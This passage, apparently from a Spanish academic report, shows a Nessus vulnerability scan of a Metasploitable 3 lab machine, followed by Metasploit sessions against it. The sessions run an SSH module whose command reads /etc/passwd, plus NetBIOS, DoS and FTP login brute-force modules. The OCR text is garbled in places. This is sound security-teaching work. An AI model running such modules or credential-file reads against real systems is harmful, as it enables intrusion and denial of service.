llevado a cabo en el punto anterior. Por ello, podemos realizar y explotar las
vulnerabilidades por varias vias, seguin las vistas durante la asignatura, me quedo con
dos: Metasploit-Framework y Nessus.

Metasploit-Framework, ya lo conocemos del apartado de creacién de malware.
Nessus es un programa de escaneo de vulnerabilidades en diversos sistemas operativos,
donde realizando las determinadas configuraciones, se nos muestran todas las
vulnerabilidades del dispositivo de la direccion IP que le asignemos.

A la hora de realizar los diferentes analisis de vulnerabilidades, lo realizaremos
por medio del advanced scan.

Debemos rellenar los diferentes campos que se nos muestran por pantalla. La
direccién IP, sera la de la maquina vulnerable a la que queremos atacar por medio de
sus diferentes vulnerabilidades, en este caso de Metasploitable 3.

IR X =R ) Firefox

) sentials [ Scans | Editor - Mozilla Firefox (Private Browsing)

Nessus Essentials /Scan: X+

& [ 9 4

us Scans  Settings

New Scan / Advanced Scan

Back to Scan Templates
My Scans N P

L]

Al Scans

n

Settings Credentials Plugins
Trash

B

Basic
Name Vul - Metasploitable 3 Ubuntu
General
© Policies
Schedule
Plugin Rules Description Vulnerabiligades de Metasploitbale 3 de Ubuntu
Noifications
DISGOVERY
& Emny ASSESSMENT Folder My Scans -
¢ Research -~
Plugin Release No Target
lugin Release Notes ADVANGED argets 192.168.208.135
Upload Targets Add File
=g -
Tenable News

How to Choose an OT
Cybersecurity Solution
Vendor

Read More

Figura 89: Preparacion del entorno y configuracion de Nessus con Metasploitable 3.
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Una vez creado el escaneo, le damos a correr, tras un rato de procesamiento de
las vulnerabilidades nos sale un check como que el escaneo ha finalizado.

o

Nessus Essentials / Fol

Scans

W My Scans [
& AllScans
i Tash

@ Policies

Plugin Rules

& Community
@ Research

Plugin Release Notes

Tenable News

NUCLEUS:13: 13
Vulnerabilities Found
in Siemens Nu...

Read More

+

0 a

Sattings

tials | Folders | My Scans - Mozilla Fir

Figura 90: Lanzamiento del escaneado en Nessus con Metasploitable 3.

My Scans Import New Folder
Name Schedule Last Modiied
Vul - Metasploitable 3 Ubuntu On Demand Today at 6:37 PM > x
Vl Windows XP On Demand October 24 2t 7:23 AM
Vul - Metasploitable2 On Demand October 24 at 6:58 Al

Una vez finalizado el escaneado, damos al check para que se nos muestren todas
las vulnerabilidades de Metasploitbale3.

Y
Nessus Essentials / Fol

& c @

s3us

My Scans

L]

Al Seans

= 0

Trash

Policies

@ a

Plugin Rules

Gommunity

Research

B o ®

Plugin Release Notes

Tenable News

CISA's Binding
Operational Directive
on Managing U...

Read More

X

+
[0}

Vul - Metasploitable 3 Ubuntu

«Bak to My Scans
Hosts (1|  Vulnerabilies 3

Filter +

Host

192.168.208.135

Figura 91

Remediations 2

Vulnerabiliies

Gonligure

VPR Top Threats History | 1

I

Audit Trail

Launch + Report ~  Export ~
Scan Details
Policy: Advanced Scan
Status: Completed
Severity Base: CVSS v3.0
Scanner. Local Scanner
Start: Today at 6:25 PM
End Today at 6:37 PM
Elapsed 12 minutes
Vulnerabilities
’ ® Criical
o High
Medium
o Low
* o

: Finalizacion del escaneado en Nessus con Metasploitable 3.
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Podemos ver de forma mds detallada todas las vulnerabilidades que se han
detectado con el scanner, esto nos facilitara realizar exploits por medio de Metasploit
debido a que sabemos cuales son las vulnerabilidades mas criticas y ademas de saber la
ruta donde se encuentran.

can - Mozilla Firefox (Private Browsing)

Nessus Essentials [ Fold: X+

c @ 9 A

S Scans

Vul - Metasploitable 3 Ubuntu

Gonfigure  Audit Trail Launch ~ Report =  Export +
e « Back to My Scans
& AlS
L eane Hosts 1 Vulnerabilities 35~ Remediations 2 VPR Top Threats History 1
@ Trash
Fiter +
©Q Policies Sew Name Family Gount Scan Details
@ PluginRules
a L ProFTPD mod_copy Information Disclosure FTP 1 Policy: Advanced Scan
Status: Completed
W s SSL (Multiple Issues) General 6 Severity Base: CVSS v3.0
£ Community Scanner: Local Scanner
© Research m 5 SSH (Multiple Issues) Misc. 6 Start: Today at 6:25 PM
Plugin Release Notes End Today at 6:37 PM
EZSR : Aache HTTP Server (Multiple Issues) Web Servers 3 Elapsed 12 minutes
EZER : TLS (Muliple Issues) Senvice detection 2
Vulnerabilities
SMB Signing not required Mise. 1 ’ o Critical
7 High
o SMB (Muliple Issues) Windows 8 Medium
® Low
Nessus SYN scanner Port scanners 8 ® o
Tenable News 3 HTTP (Multiple Issues) Web Servers 7
WEEETED Service Detection Service detection 7
Javascript Library
Prototype P...
2 Microsoft Windows (Multiple Issues) Windows 2
Read More
2 SSH (Multiple Issues) General 2

Figura 92: Vista de vulnerabilidades encontradas en el escaneado en Nessus con Metasploitable 3.

Por otro lado, podemos observar los VPR Top Threats son el resultado de
Tenable Predictive Prioritization; es decir, un complemento dindmico de los datos
proporcionados por la puntuacién CVSS de la vulnerabilidad, ya que Tenable actualiza el
VPR para reflejar el panorama actual de amenazas. VPR ayuda a las organizaciones a
mejorar la eficiencia y la eficacia de las soluciones al clasificar las vulnerabilidades segun
el nivel de gravedad: critico, alto, medio y bajo.

o Nessus Essentials  Folders | View Scan - Mozilla Firefox (Private Browsing)

Nessus Essentials / Fold: X

<« c @

Vul - Metasploitable 3 Ubuntu

Configure  Audit Trail Launch ~ Report ~  Export
S < Backto My Scans
& My Scans
| AlS
L cans Hosts 1| Vunerabiies 36  Remediations 2 VPR TopThreats History 1
B Tesh
Assessed Threat Level: High
O Poicies “The following vulnerabilities are ranked by Tenable's patented Vulnerabilty Priority Rating (VPR) Scan Details
- system. The findings listed below detail the top ten vulnerabilties, providing a prioritized view to
FEGrEs help guide remediation 1o effectively reduce risk. Policy: Advanced Scan
Click on each finding to show further datails along with the impacted hosts. Status. Gompleted
To learn more about Tenable's VPR scoring system, see Predictive Prioritzation. Severity Base: VS v3.0
£ Community Scanner. Local Scanner
9 Fosearch VPR Severity Name Reasons VPRScore v Hosts st Today a1 625 PM
End Today at 6:37 PM
Plugin Release Noles ProFTPD mod_copy Information Disclosure No recorded events 84 1 " oday
Elapsed 12 minutes
SSL Medium Strength Cipher Suites Supported (SWEET32) No recorded events 44 1
SSH Server CBC Mode Ciphers Enabled No recorded events 25 1
Apache Multiviews Arbitrary Directory Listing No recorded events 22 1

Tenable News

Arris SurfBoard
'SB8200 Cross Site
Request Forgery

Band Mara

Figura 93: VPR Top Threats encontradas en el escaneado en Nessus con Metasploitable 3.
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Luego también tenemos las Remediations, que evallan un complemento
especifico frente a un objetivo u objetivos especificos donde la vulnerabilidad
relacionada estaba presente en su analisis activo anterior. Los analisis de correccion le
permiten validar si sus acciones de correccidn de vulnerabilidades en los objetivos han
tenido éxito.

e Apache Multiviews Arbitrary Directory Listing: Upgrade to Apache version
1.3.22 or later. Alternatively, as a workaround, disable Multiviews.

e ProFTPD mod_copy Information Disclosure: Upgrade to ProFTPD 1.3.5a /
1.3.6rcl or later.

o Nessus Essentials/ Folders | View Scan - Mozilla Firefox Private Browsing)

Nessus Essentials / Fold: X+

c @ 0 a
us Scans Settings
Vul - Metasploitable 3 Ubuntu Configure  Audit Trail Launch Report v  Export v
- « Back to My Scans
& AlS
o eans Hosts 1 Vulnerabilies 36~ Remediations 2 VPR Top Threats History 1
@ Trash
Q Policies Action Vuins Hosts Sean Details
Plugin Rules
Apache Multiviews Arbitrary Directory Listing: Upgrade to Apache version 1.3.22 or later. Alternatively, as a workaround, disable Multiviews. 1 1 Policy: Advanced Scan
Status Completed
ProFTPD mod_copy Information Disclosure: Upgrade to ProFTPD 1.3.5a / 1.3.6rc1 o later. 0 1 Severity Base: CVSS v3.0
& Gommunity Scanner. Local Seanner
9 Research Start Today at 6:25 PM
Plugin Release Notes End Today at 6:37 PM
Elapsed: 12 minutes
CISA Directive 22-01:
How Tenable Can Help
You Fin...
Read More

Figura 94: Remediations encontradas en el escaneado en Nessus con Metasploitable 3.

A continuacion, procederemos a investigar en detalle algunas de las vulnerabilidades
encontradas y detectadas tras el analisis desarrollado.
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ProFTPD mod_copy Information Disclosure

ProFTPD mod_copy Information Disclosure

Synopsis
The remote host is running a ProFTPD module that is affected by an information disclosure vulnerability.

Vulnerability Priority Rating
Age of vuln: 730 days +

CVSSv3 Impact Score: 5.9

Exploit Code Maturity: Functional
Product Coverage: Low

Threat Intensity: Very Low

Threat Recency: 120 to 365 days
Threat Sources: No recorded events

Affected Hosts (1)
192.168.208.135

Description

The remote host is running a version of ProFTPD that is affected by an information disclosure vulnerability in the
mod_copy module due to the SITE CPFR and SITE CPTO commands being available to unauthenticated clients. An
unauthenticated, remote attacker can exploit this flaw to read and write to arbitrary files on any web accessible path on the
host.

Solution
Upgrade to ProFTPD 1.3.5a / 1.3.6rc1 or later.

ProFTPD mod_copy Information Disclosure

See Also
http://bugs.profipd.org/show_bug.cgi?id=4169

Plugin Information

ID: 84215

Version: 1.10

Type: remote

Published: June 16, 2015
Modified: March 27, 2020

Risk Information

Risk Factor: Critical

CVSS v3.0 Base Score: 9.8

CVSS v3.0 Vector: CVSS:3.0/AV:-N/AC:L/PR:N/UIIN/S:U/C:H/IHIAH
CVSS v3.0 Temporal Vector: CVSS8:3.0/E:F/RL:O/RC:C

CVSS v3.0 Temporal Score: 9.1

CVSS Base Score: 10.0

CVSS Vector: CVSS2#AV:N/AC:L/AU:N/C:C/1:C/A:C

CVSS Temporal Vector: CVSS2#E:F/RL:OF/RC:C

CVSS Temporal Score: 8.3

Vulnerability Information

CPE: cpe/a:proftpd:proftpd

Exploit Available: true

Exploitability Ease: Exploits are available
Patch Published: April 7, 2015
Vulnerability Published: April 7, 2015

Exploitable With:
» Metasploit (ProFTPD 1.3.5 Mod_Copy Command Execution)
= CANVAS ()

ProFTPD mod_copy Information Disclosure \

Affected Hosts
VPR Severity
Vulnerability Priority Rating

Risk Information

CVSS:3

Vulnerability Information

Exploitable With

192.168.258.135

HIGH

Age of vuln: 730 days +

CVSSv3 Impact Score: 5.9

Exploit Code Maturity: Functional

Product Coverage: Low

Threat Intensity: Very Low

Threat Recency: 120 to 365 days

Threat Sources: No recorded events

Risk Factor: Critical

CVSS v3.0 Base Score: 9.8

CVSS v3.0 Vector:
.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v3.0 Temporal Vector: CVSS:3.0/E:F/RL:0/RC:C
CVSS v3.0 Temporal Score: 9.1

CVSS Base Score: 10.0

CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS Temporal Vector: CVSS2#E:F/RL:OF/RC:C
CVSS Temporal Score: 8.3

CPE: cpe:/a:proftpd:proftpd

Exploit Available: true

Exploitability Ease: Exploits are available

Patch Published: April 7, 2015

Vulnerability Published: April 7, 2015

Metasploit (ProFTPD 1.3.5 Mod_Copy Command

Execution)

Solution

CANVAS()
Upgrade to ProFTPD 1.3.5a / 1.3.6rc1 or later.
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SSL Medium Strength Cipher Suites Supported (SWEET32)

SSL Medium Strength Cipher Suites Supported (SWEET32)

Synopsis
The remote service supports the use of medium strength SSL ciphers.

Vulnerability Priority Rating
Age of vuln: 730 days +

CVSSv3 Impact Score: 3.6

Exploit Code Maturity: PoG

Product Coverage: High

Threat Intensity: Very Low

Threat Recency: 120 to 365 days
Threat Sources: No recorded events

Affected Hosts (1)
192.168.208.135

Description
The remote host supports the use of SSL ciphers that offer medium strength encryption. Nessus regards medium strength
as any encryption that uses key lengths at least 84 bits and less than 112 bits, or else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength encryption if the attacker is on the same physical
network.

Solution
Reconfigure the affected application if possible to avoid use of medium strength ciphers.

Affected Hosts
VPR Severity
Vulnerability Priority Rating

Risk Information

SSL Medium Strength Cipher Suites Supported (SWEET32)

network.

Solution
Reconfigure the affected application if possible to avoid use of medium strength ciphers.

See Also
https://www.openssl.org/blog/blog/2016/08/24/sweet32
https://sweet32.info

Plugin Information

ID: 42873

Version: 1.21

Type: remote

Published: November 23, 2009
Modified: February 3, 2021

Risk Information

Risk Factor: Medium

CVSS v3.0 Base Score: 7.5

CVSS v3.0 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UIN/S:U/IC:H/IIN/AIN
CVSS Base Score: 5.0

CVSS Vector: CVSS2#AVIN/AC:L/Au:N/C:P/EN/AIN

Vulnerability Information
Vulnerability Published: August 24, 2016

192.168.258.135

Age of vuln: 730 days +

CVSSv3 Impact Score: 3.6

Exploit Code Maturity: PoC

Product Coverage: High

Threat Intensity: Very Low

Threat Recency: 120 to 365 days
Threat Sources: No recorded events
Risk Factor: Medium

CVSS v3.0 Base Score: 7.5

CVSS v3.0 Vector:

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Vulnerability Information
Exploitable With
Solution

CVSS Base Score: 5.0

CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N

Vulnerability Published: August 24, 2016

Reconfigure the affected application if possible to avoid use

of medium strength ciphers.
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SSH Server CBC Mode Ciphers Enabled

SSH Server CBC Mode Ciphers Enabled

Synopsis
The SSH server is configured to use Cipher Block Chaining

Vulnerability Priority Rating
Age of vuln: 730 days +

CVSSv3 Impact Score: 2.5

Exploit Code Maturity: Unproven
Product Coverage: High

Threat Intensity: Very Low

Threat Recency: No recorded events
Threat Sources: No recorded events

Affected Hosts (1)
192.168.208.135

Description
The SSH server is configured to support Cipher Block Chaining (CBG) encryption. This may allow an attacker to recover
the plaintext message from the ciphertext

Note that this plugin only checks for the opfions of the SSH server and does not check for vulnerable software versions.

Solution
Contact the vendor or consult product documentation to disable CBC mode cipher encryption, and enable CTR or GCM
cipher mode encryption.

SSH Server CBC Mode Ciphers Enabled

Note that this plugin only checks for the options of the SSH server and does not check for vulnerable software versions.

Solution
Contact the vendor or consult product documentation to disable CBC mode cipher encryption, and enable CTR or GCM
cipher mode encryption.

Plugin Information

ID: 70658

Version: 1.4

Type: remote

Published: October 28, 2013
Modified: July 30, 2018

Risk Information

Risk Factor: Low

CVSS Base Score: 2.6

CVSS Vector: CVSS2#AV:N/AC:H/AUN/C:P/IIN/A:N
CVSS Temporal Vector: CVSS2#E:U/RL:OF/RC:C
CVSS Temporal Score: 1.9

Vulnerability Information

Exploit Available: false

Exploitability Ease: No known exploits are available
Vulnerability Published: November 24, 2008

Affected Hosts
VPR Severity
Vulnerability Priority Rating

Risk Information

Vulnerability Information

Exploitable With
Solution

SSL Medium Strength Cipher Suites Supported (SWEET32)
192.168.258.135

LOW

Age of vuln: 730 days +

CVSSv3 Impact Score: 2.5

Exploit Code Maturity: Unproven

Product Coverage: High

Threat Intensity: Very Low

Threat Recency: No recorded events

Threat Sources: No recorded events

Risk Factor: Low

CVSS Base Score: 2.6

CVSS Vector: CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N
CVSS Temporal Vector: CVSS2#E:U/RL:OF/RC:C
CVSS Temporal Score: 1.9

Exploit Available: false

Exploitability Ease: No known exploits are available
Vulnerability Published: November 24, 2008

Contact the vendor or consult product documentation to

disable CBC mode cipher encryption, and enable CTR or GCM
cipher mode encryption.
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Apache Multiviews Arbitrary Directory Listing

[E0 Apache Multiviews Arbitrary Directory Listing

Synopsis
The remote web server is affected by an information disclosure vulnerability.

Vulnerability Priority Rating
Age of vuln: 730 days +

CVSSv3 Impact Score: 1.4

Exploit Code Maturity: PoC

Product Coverage: Low

Threat Intensity: Very Low

Threat Recency: No recorded events
Threat Sources: No recorded events

Affected Hosts (1)
192.168.208.135

Description

The Apache web server running on the remote host is affected by an information disclosure vulnerability. An

unauthenticated, remote attacker can exploit this, by sending a crafted request, to display a listing of a remote directory,

even if a valid index file exists in the directory.

For Apache web server later than 1.3.22, review listing directory configuration to avoid disclosing sensitive information

Solution

Upgrade to Apache version 1.3.22 or later. Alternatively, as a workaround, disable Multiviews

See Also

httpz//www.nessus.org/u?f39e976b
http://www.nessus.org/u?a9661 1bc
http://www.nessus.org/u?c1c382bc

Plugin Information

ID: 10704

Version: 1.38

Type: remote

Published: February 16, 2016
Maodified: October 21, 2020

Risk Information

Risk Factor: Medium

CVSS v3.0 Base Score: 5.3

CVSS v3.0 Vector: CVSS:3.0/AV:N/AC:L/PRN/UIN/S:U/CL/EN/A:N
CVSS v3.0 Temporal Vector: CVSS:3.0/E:P/RL:O/RC:C

CVSS v3.0 Temporal Score: 4.8

CVSS Base Score: 5.0

CVSS Vector: CVSS2#AV:N/AC:L/AUN/C:P/IN/A:N

CVSS Temporal Vector: CVSS2#E:POC/RL:OF/RC.C

CVSS Temporal Score: 3.9

Vulnerability Information

CPE: cpe/a:apache:http_server

Exploit Available: false

Exploitability Ease: No exploit is required
Patch Published: October 12, 2001
Vulnerability Published: July 29, 2001

Affected Hosts
VPR Severity
Vulnerability Priority Rating

Risk Information

CVSS:3.

Vulnerability Information

Exploitable With
Solution

Apache Multiviews Arbitrary Directory Listing
192.168.258.135
LOW
Age of vuln: 730 days +
CVSSv3 Impact Score: 1.4
Exploit Code Maturity: PoC
Product Coverage: Low
Threat Intensity: Very Low
Threat Recency: No recorded events
Threat Sources: No recorded events
Risk Factor: Medium
CVSS v3.0 Base Score: 5.3
CVSS v3.0 Vector:
0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CVSS v3.0 Temporal Vector: CVSS:3.0/E:P/RL:0/RC:C
CVSS v3.0 Temporal Score: 4.8
CVSS Base Score: 5.0
CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS Temporal Vector: CVSS2#E:POC/RL:0OF/RC:C
CVSS Temporal Score: 3.9
CPE: cpe:/a:apache:http_server
Exploit Available: false
Exploitability Ease: No exploit is required
Patch Published: October 12, 2001
Vulnerability Published: July 29, 2001

Upgrade to Apache version 1.3.22 or later. Alternatively, as

a workaround, disable Multiviews.
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Segln los servicios obtenidos con Nmap y sus determinadas versiones.
Buscaremos gracias a ello posibles vulnerabilidades a explotar por medio de Metasploit
y con el apoyo de Nessus.

To boldly go where no
shell has gone before

2162 exploits - 1147 auxiliary - 367 post
592 payloads - 45 encoders - 10 nops
=[ 8 evasion

Metasploit tip: Save the current environment with the
command, future console restarts will use this
environment again

msf6 > [

Figura 95: Puesta en escena de Metasploit, msfconsole.

Probamos a explotar vulnerabilidad con el servicio SSH mediante Metasploit en
la consola de msfconsole:

Lienvault_ 20 cell Ye ie Lt IM, utio
f Default ial ommand

ogin Ut
ult SSH P

ricted shell
20 rray Ne rks vAPV and
FibeAir IP-10 BSH Private

normal C SFTP Username

Cisco

Eaton Xpert Meter SSH

ExaGrid Known SSH Key

F5 BIG-IP SSH Pr

Figura 96: Busqueda de los médulos SSH en Metasploit, msfconsole.
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Elegimos el médulo 1 de SSH para usarlo, modificamos las opciones del exploit y
lo lanzamos.

msf6 > use 1
msf6 auxiliary( . ow options

Module options (auxiliary/scanner/ssh/apache_karaf_command_execution):

Name rent Setting Required Description

CMD cat /etc/passwd yes Command to Run

PASSWORD karaf yes Password

RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8101 yes The target port

THREADS 1 yes The number of con rent threads (max one per host)

USERNAME karaf yes Username

msf6 auxiliary( ) > set rhost 19
rhost = 192.168.208.135
msf6 auxiliary( ) > run

192.168.208.135:8101 - Attempt to login.

Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
msf6 auxiliary(

Figura 97: Configuracion del médulo SSH en Metasploit, msfconsole y ejecucion.

Probamos a explotar vulnerabilidad con el servicio NETBIOS mediante
Metasploit en la consola de msfconsole:

Disclosure Date Rank Check Description

liary/scanner/http/ntlm_info_enumeration normal No Host Information Enumeration via NTLM Authentication
liary/spoof/llmnr/1llmnr_response normal No LLMNR Spoofer
liary/scanner/Retbios/nbname normal No NEtBIOS Information Discovery
liary/spoof/nbns/nbns_response normal No NetBIOS Name Service Spoofer
liary/server/netbios spoof_nat 2016-06-14 normal No NetBIOS Response "BadTunnel” Brute Force Spoof (NAT Tunnel)
liary/admin/petbios/netbios spoof normal No NetBIOS Response Brute Force Spoof (Direct)
auxiliary/dos/smb/smb_loris 2017-06-29 normal No SMBLoris NBSS Denial of Service
auxiliary/server/wpad normal No WPAD.dat File Server

Interact with a module by name or index. For example

Figura 98: Busqueda de los médulos NETBIOS en Metasploit, msfconsole.

Elegimos el mddulo 2 de NETBIOS para usarlo, modificamos las opciones del
exploit y lo lanzamos.

msf6 > use 2
msf6 auxiliary( ) > show options

Module options (auxiliary/scanner/netbios/nbname):
Name Current Setting Required Description
BATCHSIZE yes The number of hosts to probe in each set
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

RPORT yes The target port (UDP)
THREADS 10 yes The number of concurrent threads

msf6 auxiliary( > set rhost 192.168 .135
rhost = 192.168.208.135
msf6 auxiliary( > run.
Unknown command
msf6 auxiliary( > run

Sending NetBIOS requests to 192.168.208.135—192.168.208.135 (1 hosts)
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

f6 auxiliary( N |

Figura 99: Configuracion del médulo NETBIOS en Metasploit, msfconsole y ejecucion.
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Probamos a explotar vulnerabilidad con el servicio HTTP mediante Metasploit
en la consola de msfconsole:

Description

bsocket_dos 01-07 normal

normal

good

om_supers normal
/igss9_mi
normal
norma
good
normal
good

Figura 100: Busqueda de los mdédulos HTTP en Metasploit, msfconsole.

Elegimos el mddulo 1226 de HTTP para usarlo, modificamos las opciones del
exploit y lo lanzamos.

msf6 > use 12
msf6 auxiliary( how opti

Module options (auxiliary/dos/http/ms15_034_ulonglongadd):
Name C i Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][ 1]

RHOSTS The target host(s), see https: ithub.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT The target port (TCP)

SSL Negotiate SSL/TLS for outgoing connections

TARGETURI / URI to the site (e.g /site/) or a valid file resource (e.g / o .png)

THREADS The number of concurrent threads (max one per host)

VHOST HTTP server virtual host

f6 auxiliary( > set rhost 192.1

host = 192.168.208.135
auxiliary( <
/share/metasploit-framework/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb:129: warning: URI.escape obsolete
share/metasploit-framework/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb:129 varning: URI.escape obsolete
share/metasploit-framework/modules/auxiliary/dos/http/ms15_034_ulonglongadd.r! 29: warni URI.escape obsole
share/metasploit-framework/modules/auxiliary/dos/http/ms15_034_ulonglongadd.r! yarni URI.escape obsolete

/usr/share/metasploit-framework/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb:129: warning: URI.escape obsolete

Probably not vulnerable, will not dos it.
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf6 auxiliary( N |

Figura 101: Configuraciéon del médulo HTTP en Metasploit, msfconsole y ejecucion.
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Probamos a explotar vulnerabilidad con el servicio FTP mediante Metasploit en
la consola de msfconsole:

msf6 > ch ftp

atching Modules

Name Disclosure Date Rank Description

exploit/windows/fEp/32bitfP_list_reply 2010-10-12 good 32bit F¥B Client Stack Buffer Ove

rflow

1 exploit/windows/t{fp/threectfpsvc_long_mode 2006-11-27 3CTfEpSvc TETP Long Mode Buffer O
verflow

exploit/windows/ftp/3cdaemon_{ffp_user 2005-01-04 average = 3Com 3CDaemon 2.0 FTP Username Ov

erflow

3 exploit/windows/fEp/aasync_list_reply 2010-10-12 good AASync v2.2.1.0 (Win32) Stack Buf
fer Overflow (LIST

4 exploit/windows/misc/ais_esel_ser _rce 2019-03-27 AIS logistics ESEL-Server Unauth
SQL Injection RCE

5 exploit/windows/fEp/ability_server_stor 2004-10-22 normal Ability Server 2.34 STOR Command
Stack Buffer Overflow

6 exploit/windows/fEp/absolute P list_bof 2011-11-09 normal AbsoluteFTP 1.9.6 - .10 LIST C
ommand Remote Buffer Overflow

7 exploit/windows/tfEp/attfp_long_filename 2006-11-27 average Allied Telesyn TEIP Server 1.9 Lo
ng Filename Overflow

8 auxiliary/scanner/f€p/anonymous normal Anonymous FTB Access Detection

9 auxiliary/gather/apple_safari_f#p_url_cookie_theft 2015-04-08 normal Apple 0SX/i0S/Windows Safari Non-
HTTPOnly Cookie Theft

10 exploit/osx/browser/safari_file_policy 2011-10-12 normal Apple Safari file:// Arbitrary Co
de Execution

11 auxiliary/serv apture/[ftp normal Authentication Capture: FTB

exploit/linux/snmp/awind_snmp_exec 9 AwindInc SNMP Service Command Inj

k exploit/windows/f€p/ayukov_nftp 2017-10-21 normal Ayukov NFTP FTB Client Buf
rflow

Figura 102: Busqueda de los médulos FTP en Metasploit, msfconsole.

Elegimos el mddulo 36 de FTP para usarlo, modificamos las opciones del exploit
y lo lanzamos

6 > use 36

msf6 auxiliary( ) > show options
Module options (auxiliary/scanner/ftp/ftp_login):

Name Current Setting Req ed Description
BLANK_PASSWORDS false no Try blank passwords for all users

BRUTEFORCE_SPEED 5 How fast to bruteforce, from @ to 5

DB_ALL_CREDS false Try each user/password couple stored in the current database

DB_ALL_PASS false Add all passwords in the current database to the list

DB_ALL_USERS false Add all users in the current database to the list

PASSWORD A specific password to authenticate with

PASS_FILE File containing passwords, one per line

Proxies A proxy chain of format type:host:port[,type:host:port][

RECORD_GUEST Record anonymous/guest logins to the database

RHOSTS The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT The target port (TCP)

STOP_ON_SUCCES: Stop guessing when a credential works for a host

THREADS The number of concurrent threads (max one per host)

USERNAME no A specific usernal to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS no Try the username as the password for all users

USER_FILE no File containing usernames, one per line

VERBOSE yes Whether to print output for all attempts

msf6 auxiliary( et rhost 192.1 135
rhost = 1 168.208.135
msf6 auxiliary(

192.168.208.

192.168.208. 192.168.208.135: Metasploit ramewor LoginScanner :: Invalid Cred details can't be blank, details can
t be blank (Metasploit::Fram r LoginScanner:: FTP)

192.168.208.135:21 - Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
msf6 auxiliary( ) >

Figura 103: Configuracion del médulo FTP en Metasploit, msfconsole y ejecucion.
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3.6.5. Informe técnico de Metasploitable 3

A partir de todo lo llevado a cabo en los anteriores puntos, procedemos a llevar
a cabo el informe técnico de nuestra maquina que hemos estado explotando.

Cabe destacar que el informe técnico, es el que debe de aportar informacion
especifica de las labores técnicas que hayamos realizado, tal como direcciones IP,
vulnerabilidades encontradas y enumeradas (con sus correspondientes descripciones),
CVE, detalles técnicos, demostraciones de explotacion de las wvulnerabilidades
encontradas, observaciones, consejos y una conclusion como minimo.

Direccidn IP de Metasploitable 3

IP 192.168.208.135
Vulnerable machine Metasploitable 3 - Ubuntu
Herramientas empleadas: Mdquina virtual atacante (Kali Linux) con powershell y
mdaquina virtual vulnerable (Metasploitable 3) con powershell.

Puertos, estados, protocolos y servicios de Metasploitable 3

\ Port State Protocol Service
21 Open TCP FTP
22 Open TCP SSH
80 Open TCP HTTP

445 Open TCP NETBIOS
631 Open TCP IPP
3000 Closed TCP PPP
3306 Open TCP MYSQL
3500 Open TCP HTTP
6697 Open TCP IRC
8181 Open TCP HTTP

Herramientas empleadas: Mdquina virtual atacante (Kali Linux) con powershell y
mdquina virtual vulnerable (Metasploitable 3) con powershell. Ademds de comando
nmap y herramienta Legion.
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Vulnerabilidades mas importantes de Metasploitable 3

Affected Hosts 192.168.258.135
VPR Severity HIGH
Vulnerability Priority Rating Age of vuln: 730 days +

CVSSv3 Impact Score: 5.9
Exploit Code Maturity: Functional
Product Coverage: Low
Threat Intensity: Very Low
Threat Recency: 120 to 365 days
Threat Sources: No recorded events
Risk Information Risk Factor: Critical
CVSS v3.0 Base Score: 9.8
CVSS v3.0 Vector:
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v3.0 Temporal Vector: CVSS:3.0/E:F/RL:0/RC:C
CVSS v3.0 Temporal Score: 9.1
CVSS Base Score: 10.0
CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS Temporal Vector: CVSS2#E:F/RL:OF/RC:C
CVSS Temporal Score: 8.3
Vulnerability Information CPE: cpe:/a:proftpd:proftpd
Exploit Available: true
Exploitability Ease: Exploits are available
Patch Published: April 7, 2015
Vulnerability Published: April 7, 2015

Exploitable With Metasploit (ProFTPD 1.3.5 Mod_Copy Command
Execution)
CANVAS()
Solution Upgrade to ProFTPD 1.3.5a / 1.3.6rc1 or later.
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Affected Hosts
VPR Severity
Vulnerability Priority Rating

Risk Information

Vulnerability Information
Exploitable With
Solution

Affected Hosts
VPR Severity
Vulnerability Priority Rating

Risk Information

Vulnerability Information

Exploitable With
Solution

Estudio e investigacion de propagacion de malware

192.168.258.135

Age of vuln: 730 days +

CVSSv3 Impact Score: 3.6

Exploit Code Maturity: PoC

Product Coverage: High

Threat Intensity: Very Low

Threat Recency: 120 to 365 days
Threat Sources: No recorded events
Risk Factor: Medium

CVSS v3.0 Base Score: 7.5

CVSS v3.0 Vector:

CVSS:3.0/AV:N/AC:L/PR:N/UL:N/S:U/C:H/I:N/A:N

CVSS Base Score: 5.0
CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N
Vulnerability Published: August 24, 2016

Reconfigure the affected application if possible to avoid use

of medium strength ciphers.

192.168.258.135

LOW

Age of vuln: 730 days +

CVSSv3 Impact Score: 2.5

Exploit Code Maturity: Unproven

Product Coverage: High

Threat Intensity: Very Low

Threat Recency: No recorded events

Threat Sources: No recorded events

Risk Factor: Low

CVSS Base Score: 2.6

CVSS Vector: CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N
CVSS Temporal Vector: CVSS2#E:U/RL:OF/RC:C
CVSS Temporal Score: 1.9

Exploit Available: false

Exploitability Ease: No known exploits are available
Vulnerability Published: November 24, 2008

Contact the vendor or consult product documentation to

disable CBC mode cipher encryption, and enable CTR or GCM
